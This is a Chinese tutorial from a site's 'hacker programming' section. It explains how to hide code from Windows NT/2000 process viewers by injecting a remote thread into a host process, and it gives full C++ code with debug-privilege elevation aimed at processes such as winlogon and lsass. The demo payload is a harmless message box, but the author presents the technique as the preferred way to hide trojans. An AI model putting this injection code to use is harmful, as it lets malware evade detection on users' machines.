登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
 内容搜索 网页 下载 源代码
热点文章
  利用鼠标键盘钩子截获密码
  利用鼠标键盘钩子截获密码
  如何将多个文件捆绑成一个可..
  如何将多个文件捆绑成一个可..
  内核级HOOK的几种实现与应用
  内核级HOOK的几种实现与应用
  书写基于内核的linux键盘纪录..
  书写基于内核的linux键盘纪录..
  CIH病毒原码
  CIH病毒原码
  编写进程/线程监视器
  编写进程/线程监视器
本站原创
  利用鼠标键盘钩子截获密码
  利用鼠标键盘钩子截获密码
最新招聘信息

您现在的位置:立华软件园->安全防线->黑客编程
WinNT & Win2K下实现进程的完全隐藏
发表日期:2003-10-30作者:AntGhazi[] 出处:  

作者:AntGhazi 主页:antghazi.yeah.net 

面对众多的计算机高手,考虑许久,终于还是决定出来献丑一下,文章内尽量使用最简洁易懂的词汇及例子来介绍,希望能够对一些初学与进阶者有所帮助。

  关于进程的隐藏,98下的例子数不胜数。WinNT/Win2K下的隐藏方法,西祠的高手shotgun在去年的6月就已经在网上发布出实例《揭开木马的神秘面纱<四>》 ,我也多次拜读他的文章,对他的计算机水平及热心帮助朋友的作风十分敬佩。这里也可算是对shotgun的文章的补充与深入介绍吧,好了,闲话少说。

在WinNT下"真正隐藏进程"这一说法,可以讲是根本不可能实现,只要我们的程序是以进程内核的形式运行,都是不可能逃离CTRL+ALT+DEL的法眼。那么奇怪了,这岂不是与我们的标题《WinNT & Win2K下实现进程的完全隐藏》相矛盾吗?是的,实际上应该是:以非进程方式执行目标代码,而逃避进程查看器的检查,从而达到"进程隐藏"的目的。

我们这里用的,是在宿主进程中,以线程的方式执行我们的代码。实现起来非常简单。首先,我们先建立一个不执行任何语句的线程

DWORD stdcall ThreadProc(LPVOID *lpVoid){

  return 0;

}

然后,将线程代码拷备至宿主进程所能够执行的任何地方(即页面属性为PAGGE_EXECUTE_READWRITE),如:共享内存影射区、宿主进程内。这里我们选择宿主进程,拷备的时侯,我们需要先在宿主进程中使用VirtualAllocEx函数申请一段内存,然后再使用WriteProcessMemory将线程体写入宿主进程中。

以上工作完成后,我们便可CreateRemoteThread函数激活其执行。下面给出一个完整的例子

//远程线程执行体

DWORD __stdcall ThreadProc (void *lpPara){

 return 0;

}

int main(int argc, char* argv[]){

 const DWORD THREADSIZE=1024*4;//暂定线程体大小为4K,实际上没这么大,稍后我将会介绍

 DWORD byte_write;

 //获得指定进程ID句柄,并设其权限为PROCESS_ALL_ACCESS,992是宿进程的ID号,获取ID号的方法这里我就不多讲了

 HANDLE hWnd = ::OpenProcess (PROCESS_ALL_ACCESS,FALSE,992);

 if(!hWnd)return 0;

 void *pRemoteThread =::VirtualAllocEx(hWnd,0,THREADSIZE,MEM_COMMIT| MEM_RESERVE,PAGE_EXECUTE_READWRITE);//申请

 if(!pRemoteThread)return 0;

 if(!::WriteProcessMemory(hWnd,pRemoteThread,&ThreadProc,THREADSIZE,0))//写入进程

   return 0;

 //启动线程

 HANDLE hThread = ::CreateRemoteThread (hWnd ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,NULL,0,&byte_write);

 if(!hThread){ //还有内存分配未释放

  return 0;

 }

 return 0;

}

到这里,对于隐藏的方法就算告一段落,相信看过的朋友对这个思路有个非常明确的概念了吧。

在理解隐藏的方法后,我们着重开始写线程的执行部分了。如下:

DWORD __stdcall ThreadProc(void *lpPara){

 MessageBox(NULL,"hello","hello",0);

 return 0;

}

编译执行后,你会发现出现一个非法操作错误,为什么呢?在我们以段页式内存管理的win2K操作系统中,编译时会把所有的常量编译在PE文件的.data节中,而代码段则在.text中,所以,我们拷备到宿主进程中的代码是在.text中的代码,MessageBox(NULL,(char *)指针,p,0);所指向的地址是本进程的内存虚拟地址。而在宿主进程中是无法访问的。解决的方法很简单,按旧照搬的将"hello"也拷备到目标进程中,然后再引用。同理,MessageBox函数地址编译时,也是保存在.Import中,写过Win2k病毒的朋友都知道,所有常量与函数入口地址都需在代码段定义与得出,我们这里也与他有点类似。言归正传,同样情况我们也把函数的入口地址一起写入目标进程中。//先定义参数结构

typedef struct _RemotePara{//参数结构

 char pMessageBox[12];

 DWORD dwMessageBox;

}RemotePara;

//付值

RemotePara myRemotePara;

::ZeroMemory(&myRemotePara,sizeof(RemotePara));

HINSTANCE hUser32 = ::LoadLibrary ("user32.dll");

myRemotePara.dwMessageBox =(DWORD) ::GetProcAddress (hUser32 , "MessageBoxA");

strcat(myRemotePara.pMessageBox,"hello\0");

//写进目标进程

RemotePara *pRemotePara =(RemotePara *) ::VirtualAllocEx (hWnd ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);//注意申请空间时的页面保护属性

if(!pRemotePara)return 0;

if(!::WriteProcessMemory (hWnd ,pRemotePara,&myRemotePara,sizeof myRemotePara,0))return 0;

//启动进将参数传递进入

HANDLE hThread = ::CreateRemoteThread (hWnd ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,&byte_write);

if(!hThread){

  return 0;

}好了,就这么简单,下在给出一个弹出一个MessageBox的实例:// RemoteThread.cpp : Defines the entry point for the console application.

//

#include "stdafx.h"

typedef struct _RemotePara{//参数结构

  char pMessageBox[12];

  DWORD dwMessageBox;

}RemotePara;

//远程线程

DWORD __stdcall ThreadProc (RemotePara *lpPara){

  typedef int (__stdcall *MMessageBoxA)(HWND,LPCTSTR,LPCTSTR,DWORD);//定义MessageBox函数

  MMessageBoxA myMessageBoxA;

  myMessageBoxA =(MMessageBoxA) lpPara->dwMessageBox ;//得到函数入口地址

  myMessageBoxA(NULL,lpPara->pMessageBox ,lpPara->pMessageBox,0);//call

  return 0;

}

void EnableDebugPriv();//提升应用级调试权限

int main(int argc, char* argv[]){

  const DWORD THREADSIZE=1024*4;

  DWORD byte_write;

  EnableDebugPriv();//提升权限

  HANDLE hWnd = ::OpenProcess (PROCESS_ALL_ACCESS,FALSE,992);

  if(!hWnd)return 0;

  void *pRemoteThread =::VirtualAllocEx(hWnd,0,THREADSIZE,MEM_COMMIT| MEM_RESERVE,PAGE_EXECUTE_READWRITE);

  if(!pRemoteThread)return 0;

  if(!::WriteProcessMemory(hWnd,pRemoteThread,&ThreadProc,THREADSIZE,0))

  return 0;

  //再付值

  RemotePara myRemotePara;

  ::ZeroMemory(&myRemotePara,sizeof(RemotePara));

  HINSTANCE hUser32 = ::LoadLibrary ("user32.dll");

  myRemotePara.dwMessageBox =(DWORD) ::GetProcAddress (hUser32 , "MessageBoxA");

  strcat(myRemotePara.pMessageBox,"hello\0");

  //写进目标进程

  RemotePara *pRemotePara =(RemotePara *) ::VirtualAllocEx (hWnd ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);//注意申请空间时的页面属性

  if(!pRemotePara)return 0;

  if(!::WriteProcessMemory (hWnd ,pRemotePara,&myRemotePara,sizeof myRemotePara,0))return 0;

  //启动线程

  HANDLE hThread = ::CreateRemoteThread (hWnd ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,&byte_write);

  if(!hThread){

   return 0;

  }

return 0;

}

//提升权限

void EnableDebugPriv( void )

{

HANDLE hToken;

LUID sedebugnameValue;

TOKEN_PRIVILEGES tkp;

if ( ! OpenProcessToken( GetCurrentProcess(),

TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )

return;

if ( ! LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) ){

CloseHandle( hToken );

return;

}

tkp.PrivilegeCount = 1;

tkp.Privileges[0].Luid = sedebugnameValue;

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if ( ! AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL ) )

CloseHandle( hToken );

}

好了,程序编译执行后会在进程号为992的进程中创建一线程,弹出hello对话框。是不是非常简单呢!

这里有几个地方需要注意的:

1、远程线程在宿主进程中申请空间时,空间大小的确定了是我一直无法解决的问题。我曾使用两个贴近一起的线程,以线程间的距离大小,并加上参数大小,作为申请空间时,仍然会出现非法操作,如下:

static void StartThread (LPVOID *lpPara){

  return ;

}

static void EndThread(LPVOID *lpPara){

 return;

}

然后使用DWORD dwLenght = (DWORD)((char *)&StartThread - (char *)&EndThread);//得到StartThread线程代码长度,

dwLenght += sizeof(ThreadPara);

仍会出现非法操作让我很迷惑。在win2k中,线程的默认堆栈的页大小是4KB,这里我在为线程申请内存时,申请的大小暂时使用一个常数,始终为4KB的倍数,选取时尽量取大,在线程可成功运行后,再一点点改小。办法是笨了点,如这里的朋友有更好的方法,请不吝赐教。

2、什么时侯,什么参数是需要从外部传递进来的呢?我这里并没有一个十分有力的答案,我的理解是:PE文件中除了.text节以外的所有节,均需使用外部参数传递到线程中使用,如:.rsrc、.data、rdata等其他的15个节。在我们实际编写的过程中,初学者并不知道我们的代码会编译在什么地方,这个时侯,我们可以在运行的时侯ALT + 8(VC中快捷键)反编译过来,一般有lea eax p、push offset p等取地址语句,这个时侯,我们大都需要以参数传递进来。所以,大家在编写的时侯,一定要注意参数,因为线程的执行是在别的进程中,一个普通权限的应用程序是无法跨越进程来调试其他进程的。包括VC,也无法调试我们的远程线程,熟悉汇编的朋友,可用softice调试,这需要一定的功底。

3、权限,这一点很重要,shotgun在这方面也介绍得很清楚了,网上相关的文章也很多,我就不多说了。文中的EnableDebugPriv函数可使本进程在internet、winLogin、lsass等进程中创建线程。win2k的进程查看器无法将其杀除。

4、进程ID获方法较多,如:EnumProcesses、CreateToolhelp32Snapshot/Process32First/Process32Next、NtQuerySystemInformation等函数均可,为减少代码,例子中的进程ID是直接在进程查看器中得到的。最后,我们再回到shotgun的文章中,这时侯我们因已经非常清楚他的方法中为何会多出一个DLL文件了。远程线程的线程体本身就是LoadLibrary函数,即,线程的入口地址就是LoadLibrary的入口地址,这是系统Kernel32.dll中的函数,任何进程都可调用。线程中使用LoadLibrary函数将我们的DLL加载到系统空间内,线程一执行,我们的DLL就开始工作了。线程执行结束后,别忘了使用VirtualFreeEx将其申请的内存区释放。

两种方法一比较,很明显:

1、在使用DLL时,创建十分简单,也不需要太多的操作系统与内存操作知识,并可直接调试DLL文件。实现起来比较简单。

2、直接拷备到进程中的方法稍为复杂一点,一不小心,很容易出现非法操作。当然,也去掉那了个让人讨厌DLL文件。程序执行后,很难找到他的来源地,是除了病毒以外的木马隐藏的首选方法。这里我大量参考了nongmin.cn(农民)程序的源码,他的程序对我的帮助非常大。虽然未有谋面,但对他的计算机水平与作为十分的敬佩,并尊从他的作风,以后我所写的所有非商业软件或小代码,均以源码形式出现。这里写得有点乱,希望对大家能够有所帮助,愿与所有爱好计算机,从事计算机工作的朋友们共勉。AntGhazi/2002.1.14书

mailto:antghazi@163.net

http://antghazi.yeah.net

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 WinNT & Win2K下实现进程的完全隐藏
关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接

Copyright ©2001-2003 Allrights reserved
e_mail:站长:webmaster(at)lihuasoft.net
网站编程QQ群  
京ICP备05001064号

页面生成时间:0.00494